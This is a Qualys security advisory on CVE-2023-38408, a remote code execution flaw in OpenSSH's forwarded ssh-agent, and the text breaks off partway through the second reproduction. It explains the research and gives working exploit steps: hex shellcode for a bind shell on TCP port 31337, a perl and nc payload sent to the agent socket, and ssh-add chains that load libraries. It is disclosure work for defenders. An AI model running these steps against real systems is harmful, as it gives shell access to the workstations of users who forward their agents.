<pre><code><br />Qualys Security Advisory<br /><br />CVE-2023-38408: Remote Code Execution in OpenSSH's forwarded ssh-agent<br /><br /><br />========================================================================<br />Contents<br />========================================================================<br /><br />Summary<br />Background<br />Experiments<br />Results<br />Discussion<br />Acknowledgments<br />Timeline<br /><br /><br />========================================================================<br />Summary<br />========================================================================<br /><br /> "ssh-agent is a program to hold private keys used for public key<br /> authentication. Through use of environment variables the agent can<br /> be located and automatically used for authentication when logging in<br /> to other machines using ssh(1). ... Connections to ssh-agent may be<br /> forwarded from further remote hosts using the -A option to ssh(1)<br /> (but see the caveats documented therein), avoiding the need for<br /> authentication data to be stored on other machines."<br /> (https://man.openbsd.org/ssh-agent.1)<br /><br /> "Agent forwarding should be enabled with caution. Users with the<br /> ability to bypass file permissions on the remote host ... can access<br /> the local agent through the forwarded connection. ... A safer<br /> alternative may be to use a jump host (see -J)."<br /> (https://man.openbsd.org/ssh.1)<br /><br />Despite this warning, ssh-agent forwarding is still widely used today.<br />Typically, a system administrator (Alice) runs ssh-agent on her local<br />workstation, connects to a remote server with ssh, and enables ssh-agent<br />forwarding with the -A or ForwardAgent option, thus making her ssh-agent<br />(which is running on her local workstation) reachable from the remote<br />server.<br /><br />While browsing through ssh-agent's source code, we noticed that a remote<br />attacker, who has access to the remote server where Alice's ssh-agent is<br />forwarded to, can load (dlopen()) and immediately unload (dlclose()) any<br />shared library in /usr/lib* on Alice's workstation (via her forwarded<br />ssh-agent, if it is compiled with ENABLE_PKCS11, which is the default).<br /><br />(Note to the curious readers: for security reasons, and as explained in<br />the "Background" section below, ssh-agent does not actually load such a<br />shared library in its own address space (where private keys are stored),<br />but in a separate, dedicated process, ssh-pkcs11-helper.)<br /><br />Although this seems safe at first (because every shared library in<br />/usr/lib* comes from an official distribution package, and no operation<br />besides dlopen() and dlclose() is generally performed by ssh-agent on a<br />shared library), many shared libraries have unfortunate side effects<br />when dlopen()ed and dlclose()d, and are therefore unsafe to be loaded<br />and unloaded in a security-sensitive program such as ssh-agent. For<br />example, many shared libraries have constructor and destructor functions<br />that are automatically executed by dlopen() and dlclose(), respectively.<br /><br />Surprisingly, by chaining four common side effects of shared libraries<br />from official distribution packages, we were able to transform this very<br />limited primitive (the dlopen() and dlclose() of shared libraries from<br />/usr/lib*) into a reliable, one-shot remote code execution in ssh-agent<br />(despite ASLR, PIE, and NX). Our best proofs of concept so far exploit<br />default installations of Ubuntu Desktop plus three extra packages from<br />Ubuntu's "universe" repository. We believe that even better results can<br />be achieved (i.e., some operating systems might be exploitable in their<br />default installation):<br /><br />- we only investigated Ubuntu Desktop 22.04 and 21.10, we have not<br /> looked into any other versions, distributions, or operating systems;<br /><br />- the "fuzzer" that we wrote to test our ideas is rudimentary and slow,<br /> and we ran it intermittently on a single laptop, so we have not tried<br /> all the combinations of shared libraries and side effects;<br /><br />- we initially had only one attack vector in mind (i.e., one specific<br /> combination of side effects from shared libraries), but we discovered<br /> six more while analyzing the results of our fuzzer, and we are<br /> convinced that more attack vectors exist.<br /><br />In this advisory, we present our research, experiments, reproducible<br />results, and further ideas to exploit this "dlopen() then dlclose()"<br />primitive. We will also publish the source code of our crude fuzzer at<br />https://www.qualys.com/research/security-advisories/ (warning: this code<br />might hurt the eyes of experienced fuzzing practitioners, but it gave us<br />quick answers to our many questions; it is provided "as is", in the hope<br />that it will be useful).<br /><br /><br />========================================================================<br />Background<br />========================================================================<br /><br />The ability to load and unload shared libraries in ssh-agent was<br />developed in 2010 to support the addition and deletion of PKCS#11 keys:<br />ssh-agent forks and executes a long-running ssh-pkcs11-helper process<br />that dlopen()s PKCS#11 providers (shared libraries), and immediately<br />dlclose()s them if the symbol C_GetFunctionList cannot be found (i.e.,<br />if such a shared library is not actually a PKCS#11 provider, which is<br />the case for the vast majority of the shared libraries in /usr/lib*).<br /><br />Note: ssh-agent also supports the addition of FIDO keys, by loading a<br />FIDO authenticator (a shared library) in a short-lived ssh-sk-helper<br />process; however, unlike ssh-pkcs11-helper, ssh-sk-helper is stateless<br />(it terminates shortly after loading a single shared library) and can<br />therefore not be abused by an attacker to chain the side effects of<br />several shared libraries.<br /><br />Originally, the path of a shared library to be loaded in<br />ssh-pkcs11-helper was not filtered at all by ssh-agent, but in 2016 an<br />allow-list was added ("/usr/lib*/*,/usr/local/lib*/*" by default) in<br />response to CVE-2016-10009, which was published by Jann Horn (at<br />https://bugs.chromium.org/p/project-zero/issues/detail?id=1009):<br /><br />- if an attacker had access to the server where Alice's ssh-agent is<br /> forwarded to, and had an unprivileged access to Alice's workstation,<br /> then this attacker could store a malicious shared library in /tmp on<br /> Alice's workstation and execute it with Alice's privileges (via her<br /> forwarded ssh-agent) -- a mild form of Local Privilege Escalation;<br /><br />- if the attacker had only access to the server where Alice's ssh-agent<br /> is forwarded to, but could somehow store a malicious shared library<br /> somewhere on Alice's workstation (without access to her workstation),<br /> then this attacker could remotely execute this shared library (via<br /> Alice's forwarded ssh-agent) -- a mild form of Remote Code Execution.<br /><br />Our first reaction was of course to try to bypass ssh-agent's /usr/lib*<br />allow-list:<br /><br />- by finding a logic bug in the filter function, match_pattern_list()<br /> (but we failed);<br /><br />- by making a path-traversal attack, for example /usr/lib/../../tmp (but<br /> we failed, because ssh-agent first calls realpath() to canonicalize<br /> the path of a shared library, and then calls the filter function);<br /><br />- by finding a locally or remotely writable file or directory in<br /> /usr/lib* (but we failed).<br /><br />Our only option, then, is to abuse side effects of the existing shared<br />libraries in /usr/lib*; in particular, their constructor and destructor<br />functions, which are automatically executed by dlopen() and dlclose().<br />Eventually, we realized that this is essentially a remote version of<br />CVE-2010-3856, which was published in 2010 by Tavis Ormandy (at<br />https://seclists.org/fulldisclosure/2010/Oct/344):<br /><br />- an unprivileged local attacker could dlopen() any shared library from<br /> /lib and /usr/lib (via the LD_AUDIT environment variable), even when<br /> executing a SUID-root program;<br /><br />- the constructor functions of various common shared libraries created<br /> files and directories whose location depended on the attacker's<br /> environment variables and whose creation mode depended on the<br /> attacker's umask;<br /><br />- the local attacker could therefore create world-writable files and<br /> directories anywhere in the filesystem, and obtain full root<br /> privileges (via crond, for example).<br /><br />Although the ability to load and unload shared libraries from /usr/lib*<br />in ssh-agent bears a striking resemblance to CVE-2010-3856, we are in a<br />much weaker position here, because we are trying to exploit ssh-agent<br />remotely, so we do not control its environment variables nor its umask<br />(and we do not even talk directly to ssh-pkcs11-helper, which actually<br />dlopen()s and dlclose()s the shared libraries: we talk to ssh-agent,<br />which canonicalizes and filters our requests before passing them on to<br />ssh-pkcs11-helper).<br /><br />In fact, we do not control anything except the order in which we load<br />(and immediately unload) shared libraries from /usr/lib* in ssh-agent.<br />At that point, we almost abandoned our research, because we could not<br />possibly imagine how to transform this extremely limited primitive into<br />a one-shot remote code execution. Nevertheless, we felt curious and<br />decided to syscall-trace (strace) a dlopen() and dlclose() of every<br />shared library in the default installation of Ubuntu Desktop. We<br />instantly observed four surprising behaviors:<br /><br />------------------------------------------------------------------------<br /><br />1/ Some shared libraries require an executable stack, either explicitly<br />because of an RWE (readable, writable, executable) GNU_STACK ELF header,<br />or implicitly because of a missing GNU_STACK ELF header (in which case<br />the loader defaults to an executable stack): when such an "execstack"<br />library is dlopen()ed, the loader makes the main stack and all thread<br />stacks executable, and they remain executable even after dlclose().<br /><br />For example, /usr/lib/systemd/boot/efi/linuxx64.elf.stub in the default<br />installation of Ubuntu Desktop 22.04.<br /><br />------------------------------------------------------------------------<br /><br />2/ Many shared libraries are marked as "nodelete" by the loader, either<br />explicitly because of a NODELETE ELF flag, or implicitly because they<br />are in the dependency list of a NODELETE library: the loader will never<br />unload (munmap()) such libraries, even after they are dlclose()d.<br /><br />For example, /usr/lib/x86_64-linux-gnu/librt.so.1 in the default<br />installation of Ubuntu Desktop 22.04 and 21.10.<br /><br />------------------------------------------------------------------------<br /><br />3/ Some shared libraries register a signal handler for SIGSEGV when they<br />are dlopen()ed, but they do not deregister this signal handler when they<br />are dlclose()d (i.e., this signal handler is still registered when its<br />code is munmap()ed).<br /><br />For example, /usr/lib/x86_64-linux-gnu/libSegFault.so in the default<br />installation of Ubuntu Desktop 21.10.<br /><br />------------------------------------------------------------------------<br /><br />4/ Some shared libraries crash with a SIGSEGV as soon as they are<br />dlopen()ed (usually because of a NULL-pointer dereference), because they<br />are supposed to be loaded in a specific context, not in a random program<br />such as ssh-agent.<br /><br />For example, most of the /usr/lib/x86_64-linux-gnu/xtables/lib*.so in<br />the default installation of Ubuntu Desktop 22.04 and 21.10.<br /><br />------------------------------------------------------------------------<br /><br />And so an exciting idea to remotely exploit ssh-agent came into our<br />mind:<br /><br />a/ make ssh-agent's stack executable (more precisely,<br />ssh-pkcs11-helper's stack) by dlopen()ing one of the "execstack"<br />libraries ("surprising behavior 1/"), and somehow store a 1990-style<br />shellcode somewhere in this executable stack;<br /><br />b/ register a signal handler for SIGSEGV and immediately munmap() its<br />code, by dlopen()ing and dlclose()ing one of the shared libraries from<br />"surprising behavior 3/" (consequently, a dangling pointer to this<br />unmapped signal handler is retained in the kernel);<br /><br />c/ replace the unmapped signal handler's code with another piece of code<br />from another shared library, by dlopen()ing (mmap()ing) one of the<br />"nodelete" libraries ("surprising behavior 2/");<br /><br />d/ raise a SIGSEGV by dlopen()ing one of the shared libraries from<br />"surprising behavior 4/", so that the unmapped signal handler is called<br />by the kernel, but the replacement code from the "nodelete" library is<br />executed instead (a use-after-free of sorts);<br /><br />e/ hope that this replacement code (which is mapped where the signal<br />handler was mapped) is a useful gadget that somehow jumps into the<br />executable stack, exactly where our shellcode is stored.<br /><br /><br />========================================================================<br />Experiments<br />========================================================================<br /><br />But "hope is not a strategy", so we decided to implement the following<br />6-step plan to test our remote-exploitation idea in ssh-agent:<br /><br />------------------------------------------------------------------------<br /><br />Step 1 - We install a default Ubuntu Desktop, download all official<br />packages from Ubuntu's "main" and "universe" repositories, and extract<br />all /usr/lib* files from these packages. These files occupy ~200GB of<br />disk space and include ~60,000 shared libraries.<br /><br />Note: after the default installation of Ubuntu Desktop, but before the<br />extraction of all /usr/lib* files, we "chattr +i /etc/ld.so.cache" to<br />make sure that this file does not grow unrealistically (from kilobytes<br />to megabytes); indeed, it is mmap()ed by the loader every time dlopen()<br />is called, and a large file might therefore destroy the mmap layout and<br />prevent our fuzzer's results from being reproducible in the real world.<br /><br />------------------------------------------------------------------------<br /><br />Step 2 - For each shared library in /usr/lib*, we fork and execute<br />ssh-pkcs11-helper, strace it, and request it to dlopen() (and hence<br />immediately dlclose()) this shared library; if we spot anything unusual<br />in the strace logs (a raised signal, a clone() call, etc) or outstanding<br />differences in /proc/pid/maps or /proc/pid/status between before and<br />after dlopen() and dlclose(), then we mark this shared library as<br />interesting.<br /><br />------------------------------------------------------------------------<br /><br />Step 3 - We analyze the results of Step 2. For example, on Ubuntu<br />Desktop 22.04:<br /><br />- 58 shared libraries make the stack executable when dlopen()ed (and the<br /> stack remains executable even after dlclose());<br /><br />- 16577 shared libraries permanently alter the mmap layout when<br /> dlopen()ed (either because they are "nodelete" libraries, or because<br /> they allocate a thread stack or otherwise leak mmap()ed memory);<br /><br />- 9 shared libraries register a SIGSEGV handler when dlopen()ed (but do<br /> not deregister it when dlclose()d), and 238 shared libraries raise a<br /> SIGSEGV when dlopen()ed;<br /><br />- 2 shared libraries register a SIGABRT handler when dlopen()ed, and 44<br /> shared libraries raise a SIGABRT when dlopen()ed.<br /><br />On Ubuntu Desktop 21.10:<br /><br />- 30 shared libraries make the stack executable;<br /><br />- 16172 shared libraries permanently alter the mmap layout;<br /><br />- 9 shared libraries register a SIGSEGV handler, and 147 shared<br /> libraries raise a SIGSEGV;<br /><br />- 2 shared libraries register a SIGABRT handler, and 38 shared libraries<br /> raise a SIGABRT;<br /><br />- 1 shared library registers a SIGBUS handler, and 11 shared libraries<br /> raise a SIGBUS;<br /><br />- 1 shared library registers a SIGCHLD handler, and 61 shared libraries<br /> raise a SIGCHLD;<br /><br />- 1 shared library registers a SIGILL handler, and 1 shared library<br /> raises a SIGILL.<br /><br />------------------------------------------------------------------------<br /><br />Step 4 - We implement a rudimentary fuzzing strategy, by forking and<br />executing ssh-pkcs11-helper in a loop, and by loading (and unloading)<br />random combinations of the interesting shared libraries from Step 3:<br /><br />a/ we randomly load zero or more shared libraries that permanently alter<br />the mmap layout, in the hope of creating holes in the mmap layout, thus<br />potentially shifting the replacement code (which will later replace the<br />signal handler's code) with page precision;<br /><br />b/ we randomly load one shared library that registers a signal handler<br />but does not deregister it when dlclose()d (i.e., when munmap()ed);<br /><br />c/ we randomly load zero or more shared libraries that alter the mmap<br />layout (again), thus replacing the unmapped signal handler's code with<br />another piece of code (a hopefully useful gadget) from another shared<br />library (a "nodelete" library);<br /><br />d/ we randomly load one shared library that raises the signal that is<br />caught by the unmapped signal handler: the replacement code (gadget) is<br />executed instead, and if it jumps into the stack (a SEGV_ACCERR with a<br />RIP register that points to the stack, because we did not make the stack<br />executable in this Step 4), then we mark this particular combination of<br />shared libraries as interesting.<br /><br />Surprise: we actually get numerous jumps to the stack in this Step 4,<br />usually because the signal handler's code is replaced by a "jmp REG",<br />"call REG", or "pop; pop; ret" gadget, and the "REG" or popped RIP<br />register happens to point to the stack at the time of the jump.<br /><br />------------------------------------------------------------------------<br /><br />Step 5 - We implement this extra step to test whether the interesting<br />combinations of shared libraries from Step 4 actually jump into our<br />shellcode in the stack, or into uncontrolled data in the stack:<br /><br />a/ we make the stack executable, by randomly loading one of the<br />"execstack" libraries from Step 3;<br /><br />b/ we store ~10KB of 0xcc bytes in the stack buffer "buf" of<br />ssh-pkcs11-helper's main() function: 10KB is the maximum message length<br />that we can send to ssh-pkcs11-helper (via ssh-agent), and on amd64 0xcc<br />is the "int3" instruction that generates a SIGTRAP when executed;<br /><br />c/ we randomly replay one of the interesting combinations of shared<br />libraries from Step 4: if a SIGTRAP is generated while the RIP register<br />points to the stack, then there is a fair chance that ssh-pkcs11-helper<br />jumped into our shellcode (our 0xcc bytes) in the executable stack.<br /><br />Surprise: we actually get many SIGTRAPs in the stack during this Step 5,<br />but to our great dismay, most of these SIGTRAPs are generated because<br />ssh-pkcs11-helper jumps into the stack, in the middle of a pointer that<br />is stored on the stack and that happens to contain a 0xcc byte because<br />of ASLR (i.e., not because ssh-pkcs11-helper jumps into our own 0xcc<br />bytes in the stack).<br /><br />------------------------------------------------------------------------<br /><br />Step 6 - We implement this extra step to eliminate the false positives<br />produced by Step 5:<br /><br />a/ we repeatedly replay (N times) each combination of shared libraries<br />that generates a SIGTRAP in the stack: if N SIGTRAPs are generated out<br />of N replays, then there is an excellent chance that ssh-pkcs11-helper<br />does indeed jump into our shellcode (our 0xcc bytes) in the stack (and<br />not into random bytes that happen to be 0xcc because of ASLR);<br /><br />b/ if this is confirmed by a manual check (with gdb for example), then<br />we achieved a reliable, one-shot remote code execution in ssh-agent,<br />despite the very limited primitive, and despite ASLR, PIE, and NX.<br /><br /><br />========================================================================<br />Results<br />========================================================================<br /><br />In this section, we present the results of our experiments:<br /><br />- Signal handler use-after-free (Ubuntu Desktop 22.04)<br />- Signal handler use-after-free (Ubuntu Desktop 21.10)<br />- Callback function use-after-free<br />- Return from syscall use-after-free<br />- Sigaltstack use-after-free<br />- Sigreturn to arbitrary instruction pointer<br />- _Unwind_Context type-confusion<br />- RCE in library constructor<br /><br /><br />========================================================================<br />Signal handler use-after-free (Ubuntu Desktop 22.04)<br />========================================================================<br /><br />This was our original idea for remotely attacking ssh-agent, as<br />discussed at the end of the "Background" section and as implemented in<br />the "Experiments" section. In this subsection, we present one of the<br />various combinations of shared libraries that result in a reliable,<br />one-shot remote code execution in ssh-agent on Ubuntu Desktop 22.04.<br /><br />------------------------------------------------------------------------<br /><br />1a/ On our local workstation, we install a default Ubuntu Desktop 22.04<br />(https://old-releases.ubuntu.com/releases/22.04/ubuntu-22.04-desktop-amd64.iso),<br />without connecting this workstation to the Internet.<br /><br />------------------------------------------------------------------------<br /><br />1b/ After the installation is complete, we modify /etc/apt/sources.list<br />to prevent any package from being upgraded to a version that is not the<br />one that we used in our experiments:<br /><br />workstation# cp -i /etc/apt/sources.list /etc/apt/sources.list.backup<br />workstation# grep ' jammy ' /etc/apt/sources.list.backup > /etc/apt/sources.list<br /><br />------------------------------------------------------------------------<br /><br />1c/ We connect our workstation to the Internet, and install the three<br />packages (from Ubuntu's official "universe" repository) that contain the<br />three shared libraries used in this particular attack against ssh-agent:<br /><br />workstation# apt-get update<br />workstation# apt-get upgrade<br />workstation# apt-get --no-install-recommends install eclipse-titan<br />workstation# apt-get --no-install-recommends install libkf5sonnetui5<br />workstation# apt-get --no-install-recommends install libns3-3v5<br /><br />------------------------------------------------------------------------<br /><br />2/ As Alice, we run ssh-agent on our local workstation, connect to a<br />remote server with ssh, and enable ssh-agent forwarding with -A:<br /><br />workstation$ id<br />uid=1000(alice) gid=1000(alice) groups=1000(alice),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),134(lxd),135(sambashare)<br /><br />workstation$ eval `ssh-agent -s`<br />Agent pid 1105<br /><br />workstation$ echo /tmp/ssh-*/agent.*<br />/tmp/ssh-XXXXXXmgHTo9/agent.1104<br /><br />workstation$ ssh -A server<br /><br />server$ id<br />uid=1001(alice) gid=1001(alice) groups=1001(alice)<br /><br />server$ echo /tmp/ssh-*/agent.*<br />/tmp/ssh-N5EjHljGRh/agent.1299<br /><br />------------------------------------------------------------------------<br /><br />3/ Then, as a remote attacker who has access to this server:<br /><br />------------------------------------------------------------------------<br /><br />3a/ we remotely make ssh-agent's stack executable (more precisely,<br />ssh-pkcs11-helper's stack), via Alice's ssh-agent forwarding (indeed,<br />the ssh-agent itself is running on Alice's workstation, not on the<br />server):<br /><br />server# echo /tmp/ssh-*/agent.*<br />/tmp/ssh-N5EjHljGRh/agent.1299<br /><br />server# export SSH_AUTH_SOCK=/tmp/ssh-N5EjHljGRh/agent.1299<br /><br />server# ssh-add -s /usr/lib/systemd/boot/efi/linuxx64.elf.stub<br />Enter passphrase for PKCS#11: whatever<br />Could not add card "/usr/lib/systemd/boot/efi/linuxx64.elf.stub": agent refused operation<br /><br />------------------------------------------------------------------------<br /><br />3b/ we remotely store a shellcode in the stack buffer "buf" of<br />ssh-pkcs11-helper's main() function:<br /><br />server# SHELLCODE=$'\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0\x4d\x31\xd2\x41\x52\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x7a\x69\x48\x89\xe6\x41\x50\x5f\x6a\x10\x5a\x6a\x31\x58\x0f\x05\x41\x50\x5f\x6a\x01\x5e\x6a\x32\x58\x0f\x05\x48\x89\xe6\x48\x31\xc9\xb1\x10\x51\x48\x89\xe2\x41\x50\x5f\x6a\x2b\x58\x0f\x05\x59\x4d\x31\xc9\x49\x89\xc1\x4c\x89\xcf\x48\x31\xf6\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05'<br /><br />server# (perl -e 'print "\0\0\x27\xbf\x14\0\0\0\x10/usr/lib/modules\0\0\x27\xa6" . "\x90" x 10000'; echo -n "$SHELLCODE") | nc -U "$SSH_AUTH_SOCK"<br />[Press Ctrl-C after a few seconds.]<br /><br />- we do not use ssh-add here, because we want to send a ~10KB passphrase<br /> (our shellcode) to ssh-agent, but ssh-add limits the length of our<br /> passphrase to 1KB;<br /><br />- "\x90" x 10000 is a ~10KB "NOP sled" (on amd64, 0x90 is the "nop"<br /> instruction);<br /><br />- SHELLCODE is a "TCP bind shell" on port 31337 (from<br /> https://shell-storm.org/shellcode/files/shellcode-858.html);<br /><br />- /usr/lib/modules is an existing directory whose path matches<br /> ssh-agent's /usr/lib* allow-list (indeed, we do not want to actually<br /> load a shared library here -- we just want to store our shellcode in<br /> the executable stack);<br /><br />------------------------------------------------------------------------<br /><br />3c/ we remotely register a SIGSEGV handler, and immediately munmap() its<br />code:<br /><br />server# ssh-add -s /usr/lib/titan/libttcn3-rt2-dynamic.so<br />Enter passphrase for PKCS#11: whatever<br />Could not add card "/usr/lib/titan/libttcn3-rt2-dynamic.so": agent refused operation<br /><br />------------------------------------------------------------------------<br /><br />3d/ we remotely replace the unmapped SIGSEGV handler's code with another<br />piece of code (a useful gadget) from another shared library:<br /><br />server# ssh-add -s /usr/lib/x86_64-linux-gnu/libKF5SonnetUi.so.5.92.0<br />Enter passphrase for PKCS#11: whatever<br />Could not add card "/usr/lib/x86_64-linux-gnu/libKF5SonnetUi.so.5.92.0": agent refused operation<br /><br />------------------------------------------------------------------------<br /><br />3e/ we remotely raise a SIGSEGV in ssh-pkcs11-helper:<br /><br />server# ssh-add -s /usr/lib/x86_64-linux-gnu/libns3.35-wave.so.0.0.0<br />Enter passphrase for PKCS#11: whatever<br />[Press Ctrl-C after a few seconds.]<br /><br />------------------------------------------------------------------------<br /><br />3f/ the replacement code (gadget) is executed (instead of the unmapped<br />SIGSEGV handler's code) and jumps to the stack, into our shellcode,<br />which binds a shell on TCP port 31337 on Alice's workstation:<br /><br />server# nc -v workstation 31337<br />Connection to workstation 31337 port [tcp/*] succeeded!<br /><br />workstation$ id<br />uid=1000(alice) gid=1000(alice) groups=1000(alice),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),134(lxd),135(sambashare)<br /><br />workstation$ ps axuf<br />USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND<br />...<br />alice 1105 0.0 0.1 7968 4192 ? Ss 09:48 0:00 ssh-agent -s<br />alice 1249 0.0 0.0 2888 956 ? S 10:03 0:00 \_ [sh]<br />alice 1268 0.0 0.0 7204 3092 ? R 10:14 0:00 \_ ps axuf<br /><br />------------------------------------------------------------------------<br /><br />To get a clear view of the replacement code (the useful gadget) that is<br />executed instead of the unmapped SIGSEGV handler and that jumps into the<br />NOP sled of our shellcode (in the executable stack), we relaunch our<br />attack against ssh-agent and attach to ssh-pkcs11-helper with gdb:<br /><br />workstation$ gdb /usr/lib/openssh/ssh-pkcs11-helper 1307<br />...<br />(gdb) continue<br />Continuing.<br /><br />Program received signal SIGSEGV, Segmentation fault.<br />0x00007fb15c9b560e in std::_Rb_tree_decrement(std::_Rb_tree_node_base*) () from /lib/x86_64-linux-gnu/libstdc++.so.6<br /><br />(gdb) stepi<br />0x00007fb15d0e1250 in ?? () from /lib/x86_64-linux-gnu/libQt5Widgets.so.5<br /><br />(gdb) x/10i 0x00007fb15d0e1250<br />=> 0x7fb15d0e1250: add %rcx,%rdx<br /> 0x7fb15d0e1253: notrack jmp *%rdx<br /> ...<br /><br />(gdb) stepi<br />0x00007fb15d0e1253 in ?? () from /lib/x86_64-linux-gnu/libQt5Widgets.so.5<br /><br />(gdb) stepi<br />0x00007ffc2ec82691 in ?? ()<br /><br />(gdb) x/10i 0x00007ffc2ec82691<br />=> 0x7ffc2ec82691: nop<br /> 0x7ffc2ec82692: nop<br /> 0x7ffc2ec82693: nop<br /> 0x7ffc2ec82694: nop<br /> 0x7ffc2ec82695: nop<br /> 0x7ffc2ec82696: nop<br /> 0x7ffc2ec82697: nop<br /> 0x7ffc2ec82698: nop<br /> 0x7ffc2ec82699: nop<br /> 0x7ffc2ec8269a: nop<br /><br />(gdb) !grep stack /proc/1307/maps<br />7ffc2ec66000-7ffc2ec87000 rwxp 00000000 00:00 0 [stack]<br /><br /><br />========================================================================<br />Signal handler use-after-free (Ubuntu Desktop 21.10)<br />========================================================================<br /><br />In this subsection, we present one of the various combinations of shared<br />libraries that result in a reliable, one-shot remote code execution in<br />ssh-agent on Ubuntu Desktop 21.10.<br /><br />------------------------------------------------------------------------<br /><br />1a/ On our local workstation, we install a default Ubuntu Desktop 21.10<br />(https://old-releases.ubuntu.com/releases/21.10/ubuntu-21.10-desktop-amd64.iso),<br />without connecting this workstation to the Internet.<br /><br />------------------------------------------------------------------------<br /><br />1b/ After the installation is complete, we modify /etc/apt/sources.list<br />to prevent any package from being upgraded to a version that is not the<br />one that we used in our experiments:<br /><br />workstation# cp -i /etc/apt/sources.list /etc/apt/sources.list.backup<br />workstation# echo 'deb https://old-releases.ubuntu.com/ubuntu/ impish main restricted universe' > /etc/apt/sources.list<br /><br />------------------------------------------------------------------------<br /><br />1c/ We connect our workstation to the Internet, and install the three<br />packages (from Ubuntu's official "universe" repository) that contain the<br />three extra shared libraries used in this attack against ssh-agent:<br /><br />workstation# apt-get update<br />workstation# apt-get upgrade<br />workstation# apt-get --no-install-recommends install syslinux-common<br />workstation# apt-get --no-install-recommends install libgnatcoll-postgres1<br />workstation# apt-get --no-install-recommends install libenca-dbg<br /><br />------------------------------------------------------------------------<br /><br />2/ As Alice, we run ssh-agent on our local workstation, connect to a<br />remote server with ssh, and enable ssh-agent forwarding with -A:<br /><br />workstation$ id<br />uid=1000(alice) gid=1000(alice) groups=1000(alice),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),133(lxd),134(sambashare)<br /><br />workstation$ eval `ssh-agent -s`<br />Agent pid 912<br /><br />workstation$ echo /tmp/ssh-*/agent.*<br />/tmp/ssh-GnpGKph6xbe3/agent.911<br /><br />workstation$ ssh -A server<br /><br />server$ id<br />uid=1001(alice) gid=1001(alice) groups=1001(alice)<br /><br />server$ echo /tmp/ssh-*/agent.*<br />/tmp/ssh-30N8pjTKWn/agent.996<br /><br />------------------------------------------------------------------------<br /><br />3/ Then, as a remote attacker who has access to this server:<br /><br />------------------------------------------------------------------------<br /><br />3a/ we remotely make ssh-agent's stack executable (more precisely,<br />ssh-pkcs11-helper's stack), via Alice's ssh-agent forwarding:<br /><br />server# echo /tmp/ssh-*/agent.*<br />/tmp/ssh-30N8pjTKWn/agent.996<br /><br />server# export SSH_AUTH_SOCK=/tmp/ssh-30N8pjTKWn/agent.996<br /><br />server# ssh-add -s /usr/lib/syslinux/modules/efi64/gfxboot.c32<br />Enter passphrase for PKCS#11: whatever<br />Could not add card "/usr/lib/syslinux/modules/efi64/gfxboot.c32": agent refused operation<br /><br />------------------------------------------------------------------------<br /><br />3b/ we remotely store a shellcode in the stack of ssh-pkcs11-helper:<br /><br />server# SHELLCODE=$'\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0\x4d\x31\xd2\x41\x52\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x7a\x69\x48\x89\xe6\x41\x50\x5f\x6a\x10\x5a\x6a\x31\x58\x0f\x05\x41\x50\x5f\x6a\x01\x5e\x6a\x32\x58\x0f\x05\x48\x89\xe6\x48\x31\xc9\xb1\x10\x51\x48\x89\xe2\x41\x50\x5f\x6a\x2b\x58\x0f\x05\x59\x4d\x31\xc9\x49\x89\xc1\x4c\x89\xcf\x48\x31\xf6\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05'<br /><br />server# (perl -e 'print "\0\0\x27\xbf\x14\0\0\0\x10/usr/lib/modules\0\0\x27\xa6" . "\x90" x 10000'; echo -n "$SHELLCODE") | nc -U "$SSH_AUTH_SOCK"<br />[Press Ctrl-C after a few seconds.]<br /><br />------------------------------------------------------------------------<br /><br />3c/ we remotely alter the mmap layout of ssh-pkcs11-helper:<br /><br />server# ssh-add -s /usr/lib/pulse-15.0+dfsg1/modules/module-remap-sink.so<br />Enter passphrase for PKCS#11: whatever<br />Could not add card "/usr/lib/pulse-15.0+dfsg1/modules/module-remap-sink.so": agent refused operation<br /><br />------------------------------------------------------------------------<br /><br />3d/ we remotely register a SIGBUS handler, and immediately munmap() its<br />code:<br /><br />server# ssh-add -s /usr/lib/x86_64-linux-gnu/libgnatcoll_postgres.so.1<br />Enter passphrase for PKCS#11: whatever<br />Could not add card "/usr/lib/x86_64-linux-gnu/libgnatcoll_postgres.so.1": agent refused operation<br /><br />------------------------------------------------------------------------<br /><br />3e/ we remotely alter the mmap layout of ssh-pkcs11-helper (again), and<br />replace the unmapped SIGBUS handler's code with another piece of code (a<br />useful gadget) from another shared library:<br /><br />server# ssh-add -s /usr/lib/pulse-15.0+dfsg1/modules/module-http-protocol-unix.so<br />server# ssh-add -s /usr/lib/x86_64-linux-gnu/sane/libsane-hp.so.1.0.32<br />server# ssh-add -s /usr/lib/libreoffice/program/libindex_data.so<br />server# ssh-add -s /usr/lib/x86_64-linux-gnu/gstreamer-1.0/libgstaudiorate.so<br />server# ssh-add -s /usr/lib/libreoffice/program/libscriptframe.so<br />server# ssh-add -s /usr/lib/x86_64-linux-gnu/libisccc-9.16.15-Ubuntu.so<br />server# ssh-add -s /usr/lib/x86_64-linux-gnu/libxkbregistry.so.0.0.0<br /><br />------------------------------------------------------------------------<br /><br />3f/ we remotely raise a SIGBUS in ssh-pkcs11-helper:<br /><br />server# ssh-add -s /usr/lib/debug/.build-id/15/c0bee6bcb06fbf381d0e0e6c52f71e1d1bd694.debug<br />Enter passphrase for PKCS#11: whatever<br />[Press Ctrl-C after a few seconds.]<br /><br />------------------------------------------------------------------------<br /><br />3g/ the replacement code (gadget) is executed (instead of the unmapped<br />SIGBUS handler's code) and jumps to the stack, then into our shellcode,<br 